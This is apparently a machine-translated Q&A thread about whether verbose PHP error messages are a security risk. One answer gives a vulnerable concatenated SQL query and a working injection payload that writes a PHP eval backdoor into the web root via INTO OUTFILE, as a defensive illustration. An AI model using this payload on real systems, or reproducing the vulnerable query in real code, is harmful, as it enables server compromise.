Are verbose exception / error messages a security risk?

Question

I am currently checking each GET and POST variable with isset() and throw exceptions when isset() returns false.

Example 1:

 if(!isset($_GET['some_var'])) throw new Exception('GET variable [some_var] is not set.'); $someVar = $_GET['some_var']; 

Example 2:

 if(!isset($_GET['some_num'])) throw new Exception('GET variable [some_num] is not set.'); if(!ctype_digit($_GET['some_num'])) throw new Exception('GET variable [some_num] is not a number.'); $someNum = $_GET['some_num']; 

In my working application, I have a global exception handler that sends exceptions and errors to the log file and then redirects to the general apology page.

Is this a good practice? Are descriptive exceptions and error messages, such as those above security risks (is it possible for a hacker to be able to read the exception notification and then use this information to manipulate my scripts)?

Thanks!

Answer 1

Registration errors and suppression of output are exactly what you should do. Error reporting can be unpleasant.

In the top 10 OWASP for 2007, “Information leakage and improper error handling,” however this was removed in 2010. By setting dispaly_errors=On in your php.ini you become vulnerable to the CWE-200 . The full path of your web application will be disclosed to the attacker. To make matters worse, the inclusion of error reporting makes it easier to find SQL injections by looking for sql error messages.

When combining this PHP / MySQL application, you can make a very serious attack

 $vuln_query="select name from user where id=".$_GET[id]; 

If a

 http://localhost/vuln_query.php?id=1 union select "<?php eval($_GET[e])?>" into outfile "/path/to/web/root/backdoor.php" 

What makes this full request:

 select name from user where id=1 union select "<?php eval($_GET[e])?>" into outfile "/path/to/web/root/backdoor.php" 

I would make sure display_errors=Off and that FILE file privileges were revoked to your user account of your MySQL web application.

Answer 2

"Is it possible for a hacker to be able to read the exception notification and then use this information to manipulate my scripts?"

May be.

Typically, you want to provide the least amount of information possible for the end user in an error state. In this case, if you tell someone a specific get variable, it will not try to supply this variable with random values ​​to see how the application behaves.

Of course, you should also balance this with the needs of your real users. If the variable is the one they usually control, then providing an answer about the problem with the value is perfectly acceptable.

UPDATE

A recently launched web API that seems to think that throwing general error messages is the way I want to update a bit.

It is very important that the web API returns the required information to the consumption system in order to understand what is wrong and fix it.

In one recent case for a payment processing API, their documentation was simply incorrect. The test transaction data that they showed was consistently returned from the "Server Error 500", and we did not have the opportunity to ask for help, but to get one of our developers by phone and painstakingly go through each element in its XML. Of the 50 elements, only one name had the same name as in their "developer docs"
In another integration, we were given "Server Error 402". - This one was not a payment gateway. Although they were never mentioned in their documents, it is clear that this message meant that the JSON parameter was missing. By the way, this was a parameter that was not referenced in their documents, and again it took time with its developer to identify it.

In both of the above cases, it would be incredibly useful if the error message responded with an example of a valid document message. Similar to how old Unix / DOS commands returned via help when you passed bad parameters. I really don't want to talk to other programmers. I know that their time is expensive, and they are more likely to do something other than answer a support call; but by the way, if I work at 10:00 pm and I need an RFN answer, then until the programmer can contact the phone, the next day there will rarely be an option.

Answer 3

Displaying detailed errors to the user can be a security risk. Since in this case they are written only to the log file, and the only data the user receives is a common page that does not show anything, you can be as descriptive as you like and not reveal anything until the log is compromised.

Answer 4

It is generally considered unsafe to print error messages from the PHP system system on a production server, rather than silently logging it.
Although I can not find anything dangerous on the general apology page.